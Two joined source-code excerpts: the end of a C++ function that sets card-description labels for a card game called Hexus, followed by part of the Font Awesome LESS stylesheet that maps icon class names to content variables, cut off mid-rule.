specialLabel->setLocalizedString(Strings::Hexus_CardDescriptions_Kill::create()); break; } case CardData::CardType::Special_RETURN_TO_HAND: { specialLabel->setLocalizedString(Strings::Hexus_CardDescriptions_ReturnToHand::create()); break; } case CardData::CardType::Special_STEAL: { specialLabel->setLocalizedString(Strings::Hexus_CardDescriptions_Steal::create()); break; } case CardData::CardType::Special_BONUS_MOVES: { specialLabel->setLocalizedString(Strings::Hexus_CardDescriptions_BonusMoves::create()); break; } case CardData::CardType::Special_PEEK: { specialLabel->setLocalizedString(Strings::Hexus_CardDescriptions_Peek::create()); break; } default: { break; } } preview->addChild(specialLabel); break; } } return PreviewData(cardClone, cardData, preview, binStrRef, decStrRef, hexStrRef, binLabelRef, decLabelRef, hexLabelRef); }
{ "pile_set_name": "Github" }
/* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen readers do not read off random characters that represent icons */ .@{fa-css-prefix}-glass:before { content: @fa-var-glass; } .@{fa-css-prefix}-music:before { content: @fa-var-music; } .@{fa-css-prefix}-search:before { content: @fa-var-search; } .@{fa-css-prefix}-envelope-o:before { content: @fa-var-envelope-o; } .@{fa-css-prefix}-heart:before { content: @fa-var-heart; } .@{fa-css-prefix}-star:before { content: @fa-var-star; } .@{fa-css-prefix}-star-o:before { content: @fa-var-star-o; } .@{fa-css-prefix}-user:before { content: @fa-var-user; } .@{fa-css-prefix}-film:before { content: @fa-var-film; } .@{fa-css-prefix}-th-large:before { content: @fa-var-th-large; } .@{fa-css-prefix}-th:before { content: @fa-var-th; } .@{fa-css-prefix}-th-list:before { content: @fa-var-th-list; } .@{fa-css-prefix}-check:before { content: @fa-var-check; } .@{fa-css-prefix}-remove:before, .@{fa-css-prefix}-close:before, .@{fa-css-prefix}-times:before { content: @fa-var-times; } .@{fa-css-prefix}-search-plus:before { content: @fa-var-search-plus; } .@{fa-css-prefix}-search-minus:before { content: @fa-var-search-minus; } .@{fa-css-prefix}-power-off:before { content: @fa-var-power-off; } .@{fa-css-prefix}-signal:before { content: @fa-var-signal; } .@{fa-css-prefix}-gear:before, .@{fa-css-prefix}-cog:before { content: @fa-var-cog; } .@{fa-css-prefix}-trash-o:before { content: @fa-var-trash-o; } .@{fa-css-prefix}-home:before { content: @fa-var-home; } .@{fa-css-prefix}-file-o:before { content: @fa-var-file-o; } .@{fa-css-prefix}-clock-o:before { content: @fa-var-clock-o; } .@{fa-css-prefix}-road:before { content: @fa-var-road; } .@{fa-css-prefix}-download:before { content: @fa-var-download; } .@{fa-css-prefix}-arrow-circle-o-down:before { content: @fa-var-arrow-circle-o-down; } .@{fa-css-prefix}-arrow-circle-o-up:before { content: @fa-var-arrow-circle-o-up; } .@{fa-css-prefix}-inbox:before { content: @fa-var-inbox; } .@{fa-css-prefix}-play-circle-o:before { content: @fa-var-play-circle-o; } .@{fa-css-prefix}-rotate-right:before, .@{fa-css-prefix}-repeat:before { content: @fa-var-repeat; } .@{fa-css-prefix}-refresh:before { content: @fa-var-refresh; } .@{fa-css-prefix}-list-alt:before { content: @fa-var-list-alt; } .@{fa-css-prefix}-lock:before { content: @fa-var-lock; } .@{fa-css-prefix}-flag:before { content: @fa-var-flag; } .@{fa-css-prefix}-headphones:before { content: @fa-var-headphones; } .@{fa-css-prefix}-volume-off:before { content: @fa-var-volume-off; } .@{fa-css-prefix}-volume-down:before { content: @fa-var-volume-down; } .@{fa-css-prefix}-volume-up:before { content: @fa-var-volume-up; } .@{fa-css-prefix}-qrcode:before { content: @fa-var-qrcode; } .@{fa-css-prefix}-barcode:before { content: @fa-var-barcode; } .@{fa-css-prefix}-tag:before { content: @fa-var-tag; } .@{fa-css-prefix}-tags:before { content: @fa-var-tags; } .@{fa-css-prefix}-book:before { content: @fa-var-book; } .@{fa-css-prefix}-bookmark:before { content: @fa-var-bookmark; } .@{fa-css-prefix}-print:before { content: @fa-var-print; } .@{fa-css-prefix}-camera:before { content: @fa-var-camera; } .@{fa-css-prefix}-font:before { content: @fa-var-font; } .@{fa-css-prefix}-bold:before { content: @fa-var-bold; } .@{fa-css-prefix}-italic:before { content: @fa-var-italic; } .@{fa-css-prefix}-text-height:before { content: @fa-var-text-height; } .@{fa-css-prefix}-text-width:before { content: @fa-var-text-width; } .@{fa-css-prefix}-align-left:before { content: @fa-var-align-left; } .@{fa-css-prefix}-align-center:before { content: @fa-var-align-center; } .@{fa-css-prefix}-align-right:before { content: @fa-var-align-right; } .@{fa-css-prefix}-align-justify:before { content: @fa-var-align-justify; } .@{fa-css-prefix}-list:before { content: @fa-var-list; } .@{fa-css-prefix}-dedent:before, .@{fa-css-prefix}-outdent:before { content: @fa-var-outdent; } .@{fa-css-prefix}-indent:before { content: @fa-var-indent; } .@{fa-css-prefix}-video-camera:before { content: @fa-var-video-camera; } .@{fa-css-prefix}-photo:before, .@{fa-css-prefix}-image:before, .@{fa-css-prefix}-picture-o:before { content: @fa-var-picture-o; } .@{fa-css-prefix}-pencil:before { content: @fa-var-pencil; } .@{fa-css-prefix}-map-marker:before { content: @fa-var-map-marker; } .@{fa-css-prefix}-adjust:before { content: @fa-var-adjust; } .@{fa-css-prefix}-tint:before { content: @fa-var-tint; } .@{fa-css-prefix}-edit:before, .@{fa-css-prefix}-pencil-square-o:before { content: @fa-var-pencil-square-o; } .@{fa-css-prefix}-share-square-o:before { content: @fa-var-share-square-o; } .@{fa-css-prefix}-check-square-o:before { content: @fa-var-check-square-o; } .@{fa-css-prefix}-arrows:before { content: @fa-var-arrows; } .@{fa-css-prefix}-step-backward:before { content: @fa-var-step-backward; } .@{fa-css-prefix}-fast-backward:before { content: @fa-var-fast-backward; } .@{fa-css-prefix}-backward:before { content: @fa-var-backward; } .@{fa-css-prefix}-play:before { content: @fa-var-play; } .@{fa-css-prefix}-pause:before { content: @fa-var-pause; } .@{fa-css-prefix}-stop:before { content: @fa-var-stop; } .@{fa-css-prefix}-forward:before { content: @fa-var-forward; } .@{fa-css-prefix}-fast-forward:before { content: @fa-var-fast-forward; } .@{fa-css-prefix}-step-forward:before { content: @fa-var-step-forward; } .@{fa-css-prefix}-eject:before { content: @fa-var-eject; } .@{fa-css-prefix}-chevron-left:before { content: @fa-var-chevron-left; } .@{fa-css-prefix}-chevron-right:before { content: @fa-var-chevron-right; } .@{fa-css-prefix}-plus-circle:before { content: @fa-var-plus-circle; } .@{fa-css-prefix}-minus-circle:before { content: @fa-var-minus-circle; } .@{fa-css-prefix}-times-circle:before { content: @fa-var-times-circle; } .@{fa-css-prefix}-check-circle:before { content: @fa-var-check-circle; } .@{fa-css-prefix}-question-circle:before { content: @fa-var-question-circle; } .@{fa-css-prefix}-info-circle:before { content: @fa-var-info-circle; } .@{fa-css-prefix}-crosshairs:before { content: @fa-var-crosshairs; } .@{fa-css-prefix}-times-circle-o:before { content: @fa-var-times-circle-o; } .@{fa-css-prefix}-check-circle-o:before { content: @fa-var-check-circle-o; } .@{fa-css-prefix}-ban:before { content: @fa-var-ban; } .@{fa-css-prefix}-arrow-left:before { content: @fa-var-arrow-left; } .@{fa-css-prefix}-arrow-right:before { content: @fa-var-arrow-right; } .@{fa-css-prefix}-arrow-up:before { content: @fa-var-arrow-up; } .@{fa-css-prefix}-arrow-down:before { content: @fa-var-arrow-down; } .@{fa-css-prefix}-mail-forward:before, .@{fa-css-prefix}-share:before { content: @fa-var-share; } .@{fa-css-prefix}-expand:before { content: @fa-var-expand; } .@{fa-css-prefix}-compress:before { content: @fa-var-compress; } .@{fa-css-prefix}-plus:before { content: @fa-var-plus; } .@{fa-css-prefix}-minus:before { content: @fa-var-minus; } .@{fa-css-prefix}-asterisk:before { content: @fa-var-asterisk; } .@{fa-css-prefix}-exclamation-circle:before { content: @fa-var-exclamation-circle; } .@{fa-css-prefix}-gift:before { content: @fa-var-gift; } .@{fa-css-prefix}-leaf:before { content: @fa-var-leaf; } .@{fa-css-prefix}-fire:before { content: @fa-var-fire; } .@{fa-css-prefix}-eye:before { content: @fa-var-eye; } .@{fa-css-prefix}-eye-slash:before { content: @fa-var-eye-slash; } .@{fa-css-prefix}-warning:before, .@{fa-css-prefix}-exclamation-triangle:before { content: @fa-var-exclamation-triangle; } .@{fa-css-prefix}-plane:before { content: @fa-var-plane; } .@{fa-css-prefix}-calendar:before { content: @fa-var-calendar; } .@{fa-css-prefix}-random:before { content: @fa-var-random; } .@{fa-css-prefix}-comment:before { content: @fa-var-comment; } .@{fa-css-prefix}-magnet:before { content: @fa-var-magnet; } .@{fa-css-prefix}-chevron-up:before { content: @fa-var-chevron-up; } .@{fa-css-prefix}-chevron-down:before { content: @fa-var-chevron-down; } .@{fa-css-prefix}-retweet:before { content: @fa-var-retweet; } .@{fa-css-prefix}-shopping-cart:before { content: @fa-var-shopping-cart; } .@{fa-css-prefix}-folder:before { content: @fa-var-folder; } .@{fa-css-prefix}-folder-open:before { content: @fa-var-folder-open; } .@{fa-css-prefix}-arrows-v:before { content: @fa-var-arrows-v; } .@{fa-css-prefix}-arrows-h:before { content: @fa-var-arrows-h; } .@{fa-css-prefix}-bar-chart-o:before, .@{fa-css-prefix}-bar-chart:before { content: @fa-var-bar-chart; } .@{fa-css-prefix}-twitter-square:before { content: @fa-var-twitter-square; } .@{fa-css-prefix}-facebook-square:before { content: @fa-var-facebook-square; } .@{fa-css-prefix}-camera-retro:before { content: @fa-var-camera-retro; } .@{fa-css-prefix}-key:before { content: @fa-var-key; } .@{fa-css-prefix}-gears:before, .@{fa-css-prefix}-cogs:before { content: @fa-var-cogs; } .@{fa-css-prefix}-comments:before { content: @fa-var-comments; } .@{fa-css-prefix}-thumbs-o-up:before { content: @fa-var-thumbs-o-up; } .@{fa-css-prefix}-thumbs-o-down:before { content: @fa-var-thumbs-o-down; } .@{fa-css-prefix}-star-half:before { content: @fa-var-star-half; } .@{fa-css-prefix}-heart-o:before { content: @fa-var-heart-o; } .@{fa-css-prefix}-sign-out:before { content: @fa-var-sign-out; } .@{fa-css-prefix}-linkedin-square:before { content: @fa-var-linkedin-square; } .@{fa-css-prefix}-thumb-tack:before { content: @fa-var-thumb-tack; } .@{fa-css-prefix}-external-link:before { content: @fa-var-external-link; } .@{fa-css-prefix}-sign-in:before { content: @fa-var-sign-in; } .@{fa-css-prefix}-trophy:before { content: @fa-var-trophy; } .@{fa-css-prefix}-github-square:before { content: @fa-var-github-square; } .@{fa-css-prefix}-upload:before { content: @fa-var-upload; } .@{fa-css-prefix}-lemon-o:before { content: @fa-var-lemon-o; } .@{fa-css-prefix}-phone:before { content: @fa-var-phone; } .@{fa-css-prefix}-square-o:before { content: @fa-var-square-o; } .@{fa-css-prefix}-bookmark-o:before { content: @fa-var-bookmark-o; } .@{fa-css-prefix}-phone-square:before { content: @fa-var-phone-square; } .@{fa-css-prefix}-twitter:before { content: @fa-var-twitter; } .@{fa-css-prefix}-facebook-f:before, .@{fa-css-prefix}-facebook:before { content: @fa-var-facebook; } .@{fa-css-prefix}-github:before { content: @fa-var-github; } .@{fa-css-prefix}-unlock:before { content: @fa-var-unlock; } .@{fa-css-prefix}-credit-card:before { content: @fa-var-credit-card; } .@{fa-css-prefix}-feed:before, .@{fa-css-prefix}-rss:before { content: @fa-var-rss; } .@{fa-css-prefix}-hdd-o:before { content: @fa-var-hdd-o; } .@{fa-css-prefix}-bullhorn:before { content: @fa-var-bullhorn; } .@{fa-css-prefix}-bell:before { content: @fa-var-bell; } .@{fa-css-prefix}-certificate:before { content: @fa-var-certificate; } .@{fa-css-prefix}-hand-o-right:before { content: @fa-var-hand-o-right; } .@{fa-css-prefix}-hand-o-left:before { content: @fa-var-hand-o-left; } .@{fa-css-prefix}-hand-o-up:before { content: @fa-var-hand-o-up; } .@{fa-css-prefix}-hand-o-down:before { content: @fa-var-hand-o-down; } .@{fa-css-prefix}-arrow-circle-left:before { content: @fa-var-arrow-circle-left; } .@{fa-css-prefix}-arrow-circle-right:before { content: @fa-var-arrow-circle-right; } .@{fa-css-prefix}-arrow-circle-up:before { content: @fa-var-arrow-circle-up; } .@{fa-css-prefix}-arrow-circle-down:before { content: @fa-var-arrow-circle-down; } .@{fa-css-prefix}-globe:before { content: @fa-var-globe; } .@{fa-css-prefix}-wrench:before { content: @fa-var-wrench; } .@{fa-css-prefix}-tasks:before { content: @fa-var-tasks; } .@{fa-css-prefix}-filter:before { content: @fa-var-filter; } .@{fa-css-prefix}-briefcase:before { content: @fa-var-briefcase; } .@{fa-css-prefix}-arrows-alt:before { content: @fa-var-arrows-alt; } .@{fa-css-prefix}-group:before, .@{fa-css-prefix}-users:before { content: @fa-var-users; } .@{fa-css-prefix}-chain:before, .@{fa-css-prefix}-link:before { content: @fa-var-link; } .@{fa-css-prefix}-cloud:before { content: @fa-var-cloud; } .@{fa-css-prefix}-flask:before { content: @fa-var-flask; } .@{fa-css-prefix}-cut:before, .@{fa-css-prefix}-scissors:before { content: @fa-var-scissors; } .@{fa-css-prefix}-copy:before, .@{fa-css-prefix}-files-o:before { content: @fa-var-files-o; } .@{fa-css-prefix}-paperclip:before { content: @fa-var-paperclip; } .@{fa-css-prefix}-save:before, .@{fa-css-prefix}-floppy-o:before { content: @fa-var-floppy-o; } .@{fa-css-prefix}-square:before { content: @fa-var-square; } .@{fa-css-prefix}-navicon:before, .@{fa-css-prefix}-reorder:before, .@{fa-css-prefix}-bars:before { content: @fa-var-bars; } .@{fa-css-prefix}-list-ul:before { content: @fa-var-list-ul; } .@{fa-css-prefix}-list-ol:before { content: @fa-var-list-ol; } .@{fa-css-prefix}-strikethrough:before { content: @fa-var-strikethrough; } .@{fa-css-prefix}-underline:before { content: @fa-var-underline; } .@{fa-css-prefix}-table:before { content: @fa-var-table; } .@{fa-css-prefix}-magic:before { content: @fa-var-magic; } .@{fa-css-prefix}-truck:before { content: @fa-var-truck; } .@{fa-css-prefix}-pinterest:before { content: @fa-var-pinterest; } .@{fa-css-prefix}-pinterest-square:before { content: @fa-var-pinterest-square; } .@{fa-css-prefix}-google-plus-square:before { content: @fa-var-google-plus-square; } .@{fa-css-prefix}-google-plus:before { content: @fa-var-google-plus; } .@{fa-css-prefix}-money:before { content: @fa-var-money; } .@{fa-css-prefix}-caret-down:before { content: @fa-var-caret-down; } .@{fa-css-prefix}-caret-up:before { content: @fa-var-caret-up; } .@{fa-css-prefix}-caret-left:before { content: @fa-var-caret-left; } .@{fa-css-prefix}-caret-right:before { content: @fa-var-caret-right; } .@{fa-css-prefix}-columns:before { content: @fa-var-columns; } .@{fa-css-prefix}-unsorted:before, .@{fa-css-prefix}-sort:before { content: @fa-var-sort; } .@{fa-css-prefix}-sort-down:before, .@{fa-css-prefix}-sort-desc:before { content: @fa-var-sort-desc; } .@{fa-css-prefix}-sort-up:before, .@{fa-css-prefix}-sort-asc:before { content: @fa-var-sort-asc; } .@{fa-css-prefix}-envelope:before { content: @fa-var-envelope; } .@{fa-css-prefix}-linkedin:before { content: @fa-var-linkedin; } .@{fa-css-prefix}-rotate-left:before, .@{fa-css-prefix}-undo:before { content: @fa-var-undo; } .@{fa-css-prefix}-legal:before, .@{fa-css-prefix}-gavel:before { content: @fa-var-gavel; } .@{fa-css-prefix}-dashboard:before, .@{fa-css-prefix}-tachometer:before { content: @fa-var-tachometer; } .@{fa-css-prefix}-comment-o:before { content: @fa-var-comment-o; } .@{fa-css-prefix}-comments-o:before { content: @fa-var-comments-o; } .@{fa-css-prefix}-flash:before, .@{fa-css-prefix}-bolt:before { content: @fa-var-bolt; } .@{fa-css-prefix}-sitemap:before { content: @fa-var-sitemap; } .@{fa-css-prefix}-umbrella:before { content: @fa-var-umbrella; } .@{fa-css-prefix}-paste:before, .@{fa-css-prefix}-clipboard:before { content: @fa-var-clipboard; } .@{fa-css-prefix}-lightbulb-o:before { content: @fa-var-lightbulb-o; } .@{fa-css-prefix}-exchange:before { content: @fa-var-exchange; } .@{fa-css-prefix}-cloud-download:before { content: @fa-var-cloud-download; } .@{fa-css-prefix}-cloud-upload:before { content: @fa-var-cloud-upload; } .@{fa-css-prefix}-user-md:before { content: @fa-var-user-md; } .@{fa-css-prefix}-stethoscope:before { content: @fa-var-stethoscope; } .@{fa-css-prefix}-suitcase:before { content: @fa-var-suitcase; } .@{fa-css-prefix}-bell-o:before { content: @fa-var-bell-o; } .@{fa-css-prefix}-coffee:before { content: @fa-var-coffee; } .@{fa-css-prefix}-cutlery:before { content: @fa-var-cutlery; } .@{fa-css-prefix}-file-text-o:before { content: @fa-var-file-text-o; } .@{fa-css-prefix}-building-o:before { content: @fa-var-building-o; } .@{fa-css-prefix}-hospital-o:before { content: @fa-var-hospital-o; } .@{fa-css-prefix}-ambulance:before { content: @fa-var-ambulance; } .@{fa-css-prefix}-medkit:before { content: @fa-var-medkit; } .@{fa-css-prefix}-fighter-jet:before { content: @fa-var-fighter-jet; } .@{fa-css-prefix}-beer:before { content: @fa-var-beer; } .@{fa-css-prefix}-h-square:before { content: @fa-var-h-square; } .@{fa-css-prefix}-plus-square:before { content: @fa-var-plus-square; } .@{fa-css-prefix}-angle-double-left:before { content: @fa-var-angle-double-left; } .@{fa-css-prefix}-angle-double-right:before { content: @fa-var-angle-double-right; } .@{fa-css-prefix}-angle-double-up:before { content: @fa-var-angle-double-up; } .@{fa-css-prefix}-angle-double-down:before { content: @fa-var-angle-double-down; } .@{fa-css-prefix}-angle-left:before { content: @fa-var-angle-left; } .@{fa-css-prefix}-angle-right:before { content: @fa-var-angle-right; } .@{fa-css-prefix}-angle-up:before { content: @fa-var-angle-up; } .@{fa-css-prefix}-angle-down:before { content: @fa-var-angle-down; } .@{fa-css-prefix}-desktop:before { content: @fa-var-desktop; } .@{fa-css-prefix}-laptop:before { content: @fa-var-laptop; } .@{fa-css-prefix}-tablet:before { content: @fa-var-tablet; } .@{fa-css-prefix}-mobile-phone:before, .@{fa-css-prefix}-mobile:before { content: @fa-var-mobile; } .@{fa-css-prefix}-circle-o:before { content: @fa-var-circle-o; } .@{fa-css-prefix}-quote-left:before { content: @fa-var-quote-left; } .@{fa-css-prefix}-quote-right:before { content: @fa-var-quote-right; } .@{fa-css-prefix}-spinner:before { content: @fa-var-spinner; } .@{fa-css-prefix}-circle:before { content: @fa-var-circle; } .@{fa-css-prefix}-mail-reply:before, .@{fa-css-prefix}-reply:before { content: @fa-var-reply; } .@{fa-css-prefix}-github-alt:before { content: @fa-var-github-alt; } .@{fa-css-prefix}-folder-o:before { content: @fa-var-folder-o; } .@{fa-css-prefix}-folder-open-o:before { content: @fa-var-folder-open-o; } .@{fa-css-prefix}-smile-o:before { content: @fa-var-smile-o; } .@{fa-css-prefix}-frown-o:before { content: @fa-var-frown-o; } .@{fa-css-prefix}-meh-o:before { content: @fa-var-meh-o; } .@{fa-css-prefix}-gamepad:before { content: @fa-var-gamepad; } .@{fa-css-prefix}-keyboard-o:before { content: @fa-var-keyboard-o; } .@{fa-css-prefix}-flag-o:before { content: @fa-var-flag-o; } .@{fa-css-prefix}-flag-checkered:before { content: @fa-var-flag-checkered; } .@{fa-css-prefix}-terminal:before { content: @fa-var-terminal; } .@{fa-css-prefix}-code:before { content: @fa-var-code; } .@{fa-css-prefix}-mail-reply-all:before, .@{fa-css-prefix}-reply-all:before { content: @fa-var-reply-all; } .@{fa-css-prefix}-star-half-empty:before, .@{fa-css-prefix}-star-half-full:before, .@{fa-css-prefix}-star-half-o:before { content: @fa-var-star-half-o; } .@{fa-css-prefix}-location-arrow:before { content: @fa-var-location-arrow; } .@{fa-css-prefix}-crop:before { content: @fa-var-crop; } .@{fa-css-prefix}-code-fork:before { content: @fa-var-code-fork; } .@{fa-css-prefix}-unlink:before, .@{fa-css-prefix}-chain-broken:before { content: @fa-var-chain-broken; } .@{fa-css-prefix}-question:before { content: @fa-var-question; } .@{fa-css-prefix}-info:before { content: @fa-var-info; } .@{fa-css-prefix}-exclamation:before { content: @fa-var-exclamation; } .@{fa-css-prefix}-superscript:before { content: @fa-var-superscript; } .@{fa-css-prefix}-subscript:before { content: @fa-var-subscript; } .@{fa-css-prefix}-eraser:before { content: @fa-var-eraser; } .@{fa-css-prefix}-puzzle-piece:before { content: @fa-var-puzzle-piece; } .@{fa-css-prefix}-microphone:before { content: @fa-var-microphone; } .@{fa-css-prefix}-microphone-slash:before { content: @fa-var-microphone-slash; } .@{fa-css-prefix}-shield:before { content: @fa-var-shield; } .@{fa-css-prefix}-calendar-o:before { content: @fa-var-calendar-o; } .@{fa-css-prefix}-fire-extinguisher:before { content: @fa-var-fire-extinguisher; } .@{fa-css-prefix}-rocket:before { content: @fa-var-rocket; } .@{fa-css-prefix}-maxcdn:before { content: @fa-var-maxcdn; } .@{fa-css-prefix}-chevron-circle-left:before { content: @fa-var-chevron-circle-left; } .@{fa-css-prefix}-chevron-circle-right:before { content: @fa-var-chevron-circle-right; } .@{fa-css-prefix}-chevron-circle-up:before { content: @fa-var-chevron-circle-up; } .@{fa-css-prefix}-chevron-circle-down:before { content: @fa-var-chevron-circle-down; } .@{fa-css-prefix}-html5:before { content: @fa-var-html5; } .@{fa-css-prefix}-css3:before { content: @fa-var-css3; } .@{fa-css-prefix}-anchor:before { content: @fa-var-anchor; } .@{fa-css-prefix}-unlock-alt:before { content: @fa-var-unlock-alt; } .@{fa-css-prefix}-bullseye:before { content: @fa-var-bullseye; } .@{fa-css-prefix}-ellipsis-h:before { content: @fa-var-ellipsis-h; } .@{fa-css-prefix}-ellipsis-v:before { content: @fa-var-ellipsis-v; } .@{fa-css-prefix}-rss-square:before { content: @fa-var-rss-square; } .@{fa-css-prefix}-play-circle:before { content: @fa-var-play-circle; } .@{fa-css-prefix}-ticket:before { content: @fa-var-ticket; } .@{fa-css-prefix}-minus-square:before { content: @fa-var-minus-square; } .@{fa-css-prefix}-minus-square-o:before { content: @fa-var-minus-square-o; } .@{fa-css-prefix}-level-up:before { content: @fa-var-level-up; } .@{fa-css-prefix}-level-down:before { content: @fa-var-level-down; } .@{fa-css-prefix}-check-square:before { content: @fa-var-check-square; } .@{fa-css-prefix}-pencil-square:before { content: @fa-var-pencil-square; } .@{fa-css-prefix}-external-link-square:before { content: @fa-var-external-link-square; } .@{fa-css-prefix}-share-square:before { content: @fa-var-share-square; } .@{fa-css-prefix}-compass:before { content: @fa-var-compass; } .@{fa-css-prefix}-toggle-down:before, .@{fa-css-prefix}-caret-square-o-down:before { content: @fa-var-caret-square-o-down; } .@{fa-css-prefix}-toggle-up:before, .@{fa-css-prefix}-caret-square-o-up:before { content: @fa-var-caret-square-o-up; } .@{fa-css-prefix}-toggle-right:before, .@{fa-css-prefix}-caret-square-o-right:before { content: @fa-var-caret-square-o-right; } .@{fa-css-prefix}-euro:before, .@{fa-css-prefix}-eur:before { content: @fa-var-eur; } .@{fa-css-prefix}-gbp:before { content: @fa-var-gbp; } .@{fa-css-prefix}-dollar:before, .@{fa-css-prefix}-usd:before { content: @fa-var-usd; } .@{fa-css-prefix}-rupee:before, .@{fa-css-prefix}-inr:before { content: @fa-var-inr; } .@{fa-css-prefix}-cny:before, .@{fa-css-prefix}-rmb:before, .@{fa-css-prefix}-yen:before, .@{fa-css-prefix}-jpy:before { content: @fa-var-jpy; } .@{fa-css-prefix}-ruble:before, .@{fa-css-prefix}-rouble:before, .@{fa-css-prefix}-rub:before { content: @fa-var-rub; } .@{fa-css-prefix}-won:before, .@{fa-css-prefix}-krw:before { content: @fa-var-krw; } .@{fa-css-prefix}-bitcoin:before, .@{fa-css-prefix}-btc:before { content: @fa-var-btc; } .@{fa-css-prefix}-file:before { content: @fa-var-file; } .@{fa-css-prefix}-file-text:before { content: @fa-var-file-text; } .@{fa-css-prefix}-sort-alpha-asc:before { content: @fa-var-sort-alpha-asc; } .@{fa-css-prefix}-sort-alpha-desc:before { content: @fa-var-sort-alpha-desc; } .@{fa-css-prefix}-sort-amount-asc:before { content: @fa-var-sort-amount-asc; } .@{fa-css-prefix}-sort-amount-desc:before { content: @fa-var-sort-amount-desc; } .@{fa-css-prefix}-sort-numeric-asc:before { content: @fa-var-sort-numeric-asc; } .@{fa-css-prefix}-sort-numeric-desc:before { content: @fa-var-sort-numeric-desc; } .@{fa-css-prefix}-thumbs-up:before { content: @fa-var-thumbs-up; } .@{fa-css-prefix}-thumbs-down:before { content: @fa-var-thumbs-down; } .@{fa-css-prefix}-youtube-square:before { content: @fa-var-youtube-square; } .@{fa-css-prefix}-youtube:before { content: @fa-var-youtube; } .@{fa-css-prefix}-xing:before { content: @fa-var-xing; } .@{fa-css-prefix}-xing-square:before { content: @fa-var-xing-square; } .@{fa-css-prefix}-youtube-play:before { content: @fa-var-youtube-play; } .@{fa-css-prefix}-dropbox:before { content: @fa-var-dropbox; } .@{fa-css-prefix}-stack-overflow:before { content: @fa-var-stack-overflow; } .@{fa-css-prefix}-instagram:before { content: @fa-var-instagram; } .@{fa-css-prefix}-flickr:before { content: @fa-var-flickr; } .@{fa-css-prefix}-adn:before { content: @fa-var-adn; } .@{fa-css-prefix}-bitbucket:before { content: @fa-var-bitbucket; } .@{fa-css-prefix}-bitbucket-square:before { content: @fa-var-bitbucket-square; } .@{fa-css-prefix}-tumblr:before { content: @fa-var-tumblr; } .@{fa-css-prefix}-tumblr-square:before { content: @fa-var-tumblr-square; } .@{fa-css-prefix}-long-arrow-down:before { content: @fa-var-long-arrow-down; } .@{fa-css-prefix}-long-arrow-up:before { content: @fa-var-long-arrow-up; } .@{fa-css-prefix}-long-arrow-left:before { content: @fa-var-long-arrow-left; } .@{fa-css-prefix}-long-arrow-right:before { content: @fa-var-long-arrow-right; } .@{fa-css-prefix}-apple:before { content: @fa-var-apple; } .@{fa-css-prefix}-windows:before { content: @fa-var-windows; } .@{fa-css-prefix}-android:before { content: @fa-var-android; } .@{fa-css-prefix}-linux:before { content: @fa-var-linux; } .@{fa-css-prefix}-dribbble:before { content: @fa-var-dribbble; } .@{fa-css-prefix}-skype:before { content: @fa-var-skype; } .@{fa-css-prefix}-foursquare:before { content: @fa-var-foursquare; } .@{fa-css-prefix}-trello:before { content: @fa-var-trello; } .@{fa-css-prefix}-female:before { content: @fa-var-female; } .@{fa-css-prefix}-male:before { content: @fa-var-male; } .@{fa-css-prefix}-gittip:before, .@{fa-css-prefix}-gratipay:before { content: @fa-var-gratipay; } .@{fa-css-prefix}-sun-o:before { content: @fa-var-sun-o; } .@{fa-css-prefix}-moon-o:before { content: @fa-var-moon-o; } .@{fa-css-prefix}-archive:before { content: @fa-var-archive; } .@{fa-css-prefix}-bug:before { content: @fa-var-bug; } .@{fa-css-prefix}-vk:before { content: @fa-var-vk; } .@{fa-css-prefix}-weibo:before { content: @fa-var-weibo; } .@{fa-css-prefix}-renren:before { content: @fa-var-renren; } .@{fa-css-prefix}-pagelines:before { content: @fa-var-pagelines; } .@{fa-css-prefix}-stack-exchange:before { content: @fa-var-stack-exchange; } .@{fa-css-prefix}-arrow-circle-o-right:before { content: @fa-var-arrow-circle-o-right; } .@{fa-css-prefix}-arrow-circle-o-left:before { content: @fa-var-arrow-circle-o-left; } .@{fa-css-prefix}-toggle-left:before, .@{fa-css-prefix}-caret-square-o-left:before { content: @fa-var-caret-square-o-left; } .@{fa-css-prefix}-dot-circle-o:before { content: @fa-var-dot-circle-o; } .@{fa-css-prefix}-wheelchair:before { content: @fa-var-wheelchair; } .@{fa-css-prefix}-vimeo-square:before { content: @fa-var-vimeo-square; } .@{fa-css-prefix}-turkish-lira:before, .@{fa-css-prefix}-try:before { content: @fa-var-try; } .@{fa-css-prefix}-plus-square-o:before { content: @fa-var-plus-square-o; } .@{fa-css-prefix}-space-shuttle:before { content: @fa-var-space-shuttle; } .@{fa-css-prefix}-slack:before { content: @fa-var-slack; } .@{fa-css-prefix}-envelope-square:before { content: @fa-var-envelope-square; } .@{fa-css-prefix}-wordpress:before { content: @fa-var-wordpress; } .@{fa-css-prefix}-openid:before { content: @fa-var-openid; } .@{fa-css-prefix}-institution:before, .@{fa-css-prefix}-bank:before, .@{fa-css-prefix}-university:before { content: @fa-var-university; } .@{fa-css-prefix}-mortar-board:before, .@{fa-css-prefix}-graduation-cap:before { content: @fa-var-graduation-cap; } .@{fa-css-prefix}-yahoo:before { content: @fa-var-yahoo; } .@{fa-css-prefix}-google:before { content: @fa-var-google; } .@{fa-css-prefix}-reddit:before { content: @fa-var-reddit; } .@{fa-css-prefix}-reddit-square:before { content: @fa-var-reddit-square; } .@{fa-css-prefix}-stumbleupon-circle:before { content: @fa-var-stumbleupon-circle; } .@{fa-css-prefix}-stumbleupon:before { content: @fa-var-stumbleupon; } .@{fa-css-prefix}-delicious:before { content: @fa-var-delicious; } .@{fa-css-prefix}-digg:before { content: @fa-var-digg; } .@{fa-css-prefix}-pied-piper:before { content: @fa-var-pied-piper; } .@{fa-css-prefix}-pied-piper-alt:before { content: @fa-var-pied-piper-alt; } .@{fa-css-prefix}-drupal:before { content: @fa-var-drupal; } .@{fa-css-prefix}-joomla:before { content: @fa-var-joomla; } .@{fa-css-prefix}-language:before { content: @fa-var-language; } .@{fa-css-prefix}-fax:before { content: @fa-var-fax; } .@{fa-css-prefix}-building:before { content: @fa-var-building; } .@{fa-css-prefix}-child:before { content: @fa-var-child; } .@{fa-css-prefix}-paw:before { content: @fa-var-paw; } .@{fa-css-prefix}-spoon:before { content: @fa-var-spoon; } .@{fa-css-prefix}-cube:before { content: @fa-var-cube; } .@{fa-css-prefix}-cubes:before { content: @fa-var-cubes; } .@{fa-css-prefix}-behance:before { content: @fa-var-behance; } .@{fa-css-prefix}-behance-square:before { content: @fa-var-behance-square; } .@{fa-css-prefix}-steam:before { content: @fa-var-steam; } .@{fa-css-prefix}-steam-square:before { content: @fa-var-steam-square; } .@{fa-css-prefix}-recycle:before { content: @fa-var-recycle; } .@{fa-css-prefix}-automobile:before, .@{fa-css-prefix}-car:before { content: 